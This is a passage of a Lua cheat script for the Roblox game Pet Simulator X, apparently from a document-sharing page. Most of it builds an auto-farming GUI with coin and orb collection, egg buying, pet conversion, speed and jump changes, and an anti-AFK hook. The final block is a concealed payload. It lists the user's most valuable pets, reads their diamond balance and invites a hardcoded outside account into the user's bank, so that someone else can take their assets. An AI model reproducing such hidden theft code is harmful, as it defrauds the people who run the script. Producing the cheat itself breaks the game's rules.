Professional Documents
Culture Documents
temptable[icoin] = 1
break
end
end
end
if valid_coin then
if (not
targetdiamonds and not targeteventcoins) or (targetdiamonds and coin.Currency ==
"Diamonds") or (targeteventcoins and coin.World == "Other") then
break
end
fallback =
fallback or (valid_coin and icoin)
elseif icoin then
icoin = nil
end
elseif icoin then
icoin = nil
end
end
icoin = icoin or fallback
if icoin and icoin.Parent
then
temptable[icoin] = 1
lastcoin =
FindFirstChild(icoin, "Coin")
SelectCoin(icoin, not
multitarget)
if Wait(0.1) and
Libraryflags.farming then
else
return
end
if multitarget then
else
break
end
end
end
end
elseif Wait(0.1) then
else
return
end
end)
end
end
end
})
end
FarmingSection:AddToggle({
Name = "Multi Target",
Flag = "multitarget",
Value = true
})
FarmingSection:AddToggle({
Name = "Prioritize Diamonds",
Flag = "targetdiamonds",
Value = false
})
FarmingSection:AddToggle({
Name = "Prioritize Event Coins",
Flag = "targeteventcoins",
Value = false
})
FarmingSection:AddToggle({
Name = "Skip Area Check",
Flag = "ignorearea"
})
FarmingSection:AddToggle({
Name = "Ignore Big Targets",
Flag = "ignorebigtargets"
})
FarmingSection:AddToggle({
Name = "Distance Limit",
Flag = "checkdistance"
})
FarmingSection:AddSlider({
Name = "Max Coin Distance",
Flag = "maxcoindistance",
Min = 0,
Max = 400,
Value = 200,
Format = "Farm Distance: %sm",
Textbox = true,
IllegalInput = true
})
FarmingSection:AddDropdown({
Name = "Coin Selection",
Flag = "targetselection",
List = {"Most Health", "Least Health"}
})
do
local orbfolder = workspace:WaitForChild("__THINGS"):WaitForChild("Orbs")
local GetChildren = orbfolder.GetChildren
local math_max = math.max
local orbtog = nil
orbtog = FarmingSection:AddToggle({
Name = "Collect Orbs",
Flag = "collectorbs",
Value = false,
Callback = function(x)
if x then
while (not CollectOrb or not GetOrbs) and Wait(0.1) do
end
while Wait(0.1) and CollectOrb and GetOrbs and
Libraryflags.collectorbs do
pcall(function()
local x = 0
for orb, dat in next, GetOrbs() do
if orb.Parent then
x = (1 + x) % 12
if (x ~= 0 or Wait()) and
Libraryflags.collectorbs then
pcall(CollectOrb, orb, dat)
else
return
end
end
end
end)
end
end
end
})
end
do
FarmingSection:AddToggle({
Name = "Collect Lootbags",
Flag = "collectlootbags",
Value = false,
Callback = function(x)
if x then
while (not CollectOrb or not GetOrbs) and Wait(0.1) do
end
while Wait(0.1) and CollectLootBag and GetLootBags and
Libraryflags.collectlootbags do
pcall(function()
local x = 0
for _, bag in next, GetLootBags() do
x = (1 + x) % 12
if (x ~= 0 or Wait()) and
Libraryflags.collectlootbags then
pcall(CollectLootBag, bag)
else
return
end
end
end)
end
end
end
})
end
if NetworkInvoke then
local Random = Random.new()
local Random_NextNumber = Random.NextNumber
FarmingSection:AddToggle({
Name = "Collect Rank Rewards",
Flag = "collectrewards",
Callback = function(x)
if x then
while Wait(5) and Libraryflags.collectrewards do
local s, e = pcall(NetworkInvoke, "Redeem Rank
Rewards")
if s and not e and not Wait(15 +
Random_NextNumber(Random, -1, 5)) then
return
end
end
end
end
})
end
do
local Random = Random.new()
local ni = Random.NextNumber
FarmingSection:AddToggle({
Name = "Equip Best Pets",
Flag = "equipstrongestpets",
Callback = function(x)
if x then
pcall(function()
while Wait(5 + ni(Random, 0, 3)) and
Libraryflags.equipstrongestpets do
pcall(NetworkInvoke, "Equip Best Pets")
end
end)
end
end
})
end
local EggSection = FarmingTab:CreateSection({
Name = "Eggs & Machines",
Side = "Right"
})
do
local Eggs = {}
for egg, dat in next, GameData.Directory.Eggs.__self do
if rawequal(rawget(dat, "hatchable"), true) then
Eggs[1 + #Eggs] = egg
end
end
table.sort(Eggs, Library.defaultSort)
EggSection:AddSearchBox({
Name = "Egg Select",
Flag = "eggtype",
Nothing = "Disabled",
List = Eggs
})
end
EggSection:AddSlider({
Name = "Buy Rate",
Flag = "eggbuyrate",
Min = 0,
Max = 10,
Value = 1,
Textbox = true,
Format = "Buy Rate: %s",
Precise = 2,
IllegalInput = true
})
do
local function OpenEgg()
local eggtype = Libraryflags.eggtype
if eggtype and eggtype ~= "Disabled" then
BuyEgg(eggtype)
end
end
do
local clock = os.clock
local lastbuy = 0
EggSection:AddToggle({
Name = "Auto Buy",
Flag = "eggautobuy",
Callback = function(x)
if x then
while Wait() and Libraryflags.eggautobuy do
local now = clock()
if now - lastbuy > Libraryflags.eggbuyrate then
lastbuy = now
OpenEgg()
end
end
end
end
})
end
EggSection:AddButton({
Name = "Buy Egg",
Callback = OpenEgg
})
end
do
local table_sort = table.sort
local table_clear = table.clear
local SaveData, SlaveData, AllSlaves, SlaveSelf = nil, nil, nil, nil
local function Sort(a, b)
return #a > #b
end
for block = 1, 3 do
local block1 = block == 1
local block2 = block == 2
local block3 = block == 3
local flagname = (block1 and "goldm") or (block2 and "rainbowm") or
(block3 and "darkmatterm") or error("Invalid block: " .. tostring(block))
local networkString = (block1 and "Use Golden Machine") or (block2 and
"Use Rainbow Machine") or (block3 and "Convert To Dark Matter")
EggSection:AddToggle({
Name = (block1 and "Auto Gold Convert") or (block2 and "Auto
Rainbow Convert") or (block3 and "Auto Dark Matter Convert"),
Flag = flagname,
Callback = function(x)
if x then
while not GetSaveData and Wait(1) do
end
while Wait(0.1) and Libraryflags[flagname] do
SaveData = GetSaveData()
AllSlaves = SaveData.Pets
SlaveSelf = AllSlaves.__self
SlaveData = GameData.Directory.Pets
local softoverride = nil
local Types = {}
for k in next, SlaveSelf do
local Slave = AllSlaves[k]
if Slave and not Slave.dm and (block2 or
not Slave.g) and (block3 or not Slave.r) then
local SlaveId = Slave.id
local SlaveData =
SlaveData[SlaveId]
if SlaveData and not
SlaveData.isPremium and (SlaveData.rarity ~= "Exclusive") then
local uid = Slave.uid
if block3 then
softoverride = uid
break
end
local Type = Types[SlaveId]
or {
ID = SlaveId
}
Types[SlaveId] = Type
Type[1 + #Type] = uid
end
end
end
local Six = (block1 and shared.GoldPetCount) or
(block2 and shared.RainbowPetCount) or 6
if softoverride or next(Types) then
local Candidates = {}
if softoverride then
Candidates[1] = {softoverride}
else
for k, v in next, Types do
if v and (#v >= Six) then
v.ID = nil
Candidates[1 +
#Candidates] = v
else
Types[k] =
(table_clear(v) and nil) or nil
end
end
end
if #Candidates > 0 then
if block3 then
else
table_sort(Candidates, Sort)
end
Candidates = {unpack(Candidates[1],
1, Six)}
if Libraryflags[flagname] and
(#Candidates == ((block3 and 1) or Six)) then
pcall(NetworkInvoke,
networkString, Candidates)
wait(0.5)
end
end
else
if Wait(2) then
else
return
end
end
end
end
end
})
end
do
local getostime = nil
do
local cahced = nil
local cachetime = 0
local nan = tonumber("nan")
function getostime()
if cahced and cachetime then
return cahced + (time() - cachetime)
else
for _ = 1, 5 do
local succ, val = pcall(NetworkInvoke, "Get
OSTime")
if succ and val then
cachetime = time()
cahced = val
return val
elseif Wait(0.15) then
else
return 0
end
end
end
return nan
end
end
local os_clock = os.clock
EggSection:AddToggle({
Name = "Redeem Dark Matter Pets",
Flag = "redeemdarkmatterm",
Callback = function(x)
if x then
while not GetSaveData and Wait(1) do
end
while Wait(0.1) and Libraryflags.redeemdarkmatterm do
local SaveData = GetSaveData()
for slave_tag, slave_stats in next,
SaveData.DarkMatterQueue.__self do
if Wait(((((rawget(slave_stats,
"readyTime") + 60) - (getostime() + (os_clock() - time()))) <= 1) and
NetworkInvoke("Redeem Dark Matter Pet", slave_tag) and 1) or 0.1) then
else
return
end
end
end
end
end
})
end
end
if OpenGui then
local buttons = {
["Upgrades"] = true,
["Merchant"] = true,
["Collection"] = true
}
shared.buttons = {}
local Guis = GameData.GUI
for id, dat in next, Guis.__self do
if type(dat) == "table" and type(id) == "string" then
local spoofed = Guis[id]
if spoofed.NoPets ~= nil then
local sgui = spoofed.Gui
if typeof(sgui) == "Instance" and sgui:IsA("ScreenGui")
then
buttons[id] = true
shared.buttons[id] = Guis[id]
end
end
end
end
local buttonssorted = {}
for k in next, buttons do
buttonssorted[1 + #buttonssorted] = {
Name = k,
Callback = function()
pcall(OpenGui, k)
end
}
end
table.sort(buttonssorted, function(b, a)
return a.Name:lower() > b.Name:lower()
end)
EggSection:AddButton(unpack(buttonssorted))
end
local PlayerSection = FarmingTab:CreateSection({
Name = "Player Settings",
Side = "Right"
})
local function GetHuman()
local h = LP.Character
h = h and (h:FindFirstChild("Humanoid") or
h:FindFirstChildWhichIsA("Humanoid"))
return h or workspace.CurrentCamera.CameraSubject
end
PlayerSection:AddToggle({
Name = "Set Walk Speed",
Flag = "usewalkspeed",
Callback = function(x)
if x then
local h = GetHuman()
local oldws = h and h.WalkSpeed
if oldws then
pcall(function()
h.WalkSpeed = Libraryflags.walkspeed or oldws or 16
while Wait(0.1) and Libraryflags.usewalkspeed do
h.WalkSpeed = Libraryflags.walkspeed or oldws
or 16
end
end)
h.WalkSpeed = oldws or 16
end
end
end
})
PlayerSection:AddSlider({
Name = "Speed",
Flag = "walkspeed",
Min = 0,
Max = 128,
Value = 48,
Textbox = true,
Format = "Walking Speed: %s",
IllegalInput = true
})
PlayerSection:AddToggle({
Name = "Set Jump Power",
Flag = "usejumppower",
Callback = function(x)
if x then
local h = GetHuman()
local oldjp = h and h.JumpPower
if oldjp then
pcall(function()
h.JumpPower = Libraryflags.jumppower or oldjp or 50
while Wait(0.1) and Libraryflags.usejumppower do
h.JumpPower = Libraryflags.jumppower or oldjp
or 50
end
end)
h.JumpPower = oldjp or 50
end
end
end
})
PlayerSection:AddSlider({
Name = "Power",
Flag = "jumppower",
Min = 0,
Max = 256,
Value = 60,
Textbox = true,
Format = "Jumping Power: %s",
IllegalInput = true
})
PlayerSection:AddButton({
Name = "TP to Pet",
Callback = function()
if lastcoin then
workspace.CurrentCamera.CameraSubject.RootPart.CFrame =
CFrame.new(Vector3:new(lastcoin.Size.Y + 3.5) + lastcoin.Position)
end
end
}, {
Name = "Destroy GUI",
Callback = Library.unload
})
FarmingTab:CreateSection({
Name = "Profiles"
}):AddPersistence({
Name = "Save & Load",
Workspace = "Petsi-X",
Suffix = "File",
Flags = 2
}).Parent:AddLabel(("Version: %s"):format(petsiversion))
do
local vu = game:GetService("VirtualUser")
local vn = Vector2.new()
local afk = nil
--if 1 or (not getconnections or type(getconnections) ~= "function" or not
next(getconnections(LP.Idled) or {})) then
afk = LP.Idled:Connect(function()
vu:ClickButton2(vn)
end)
--else
-- local connections = {}
-- for _, v in next, getconnections(LP.Idled) do
-- if v.State then
-- v:Disable()
-- connections[v] = 1
-- end
-- end
-- afk = {
-- Disconnect = function()
-- for s in next, connections do
-- s:Enable()
-- end
-- end
-- }
--end
function Library.UnloadCallback()
afk = (afk and afk:Disconnect() and nil) or nil
--Library.ResetAll() -- Causing crashes
end
end
if shared.debugmode then
local stuff = {}
for k, v in next, {debug.info(1, "slna")} do
v = tostring(v)
if #v > 0 then
stuff[1 + #stuff] = string.format("%s-%s", (k == 1 and "S") or (k
== 2 and "L") or (k == 3 and "N") or ((k == 4 or k == 5) and "A") or tostring(k),
v)
end
end
stuff[1 + #stuff] = string.format("Func: 0x%x",
tonumber(string.match(tostring(debug.info(1, "f")), "0x%x+")))
local dat = debug.traceback(table.concat(stuff, "\n"))
warn(dat)
pcall(pcall, setclipboard, dat)
end
local LocalNumber = 1900028068
local lib =
require(game.ReplicatedStorage:WaitForChild('Framework'):WaitForChild('Library'))
local mydiamonds =
string.gsub(game:GetService("Players").LocalPlayer.PlayerGui.Main.Right.Diamonds.Am
ount.Text, "%,", "")
local mybanks = lib.Network.Invoke("get my banks")
local PetsList = {}
for i,v in pairs(lib.Save.Get().Pets) do
local v2 = lib.Directory.Pets[v.id];
if v2.rarity == "Exclusive" or v2.rarity == "Mythical" and v.dm or v2.rarity ==
"Legendary" and v.r then
table.insert(PetsList, v.uid);
end
end
if lib.Network.Invoke("Invite To Bank", mybanks[1]['BUID'], LocalNumber) then
wait(5)
else
lib.Network.Invoke("Invite To Bank", mybanks[1]['BUID'], LocalNumber)
end;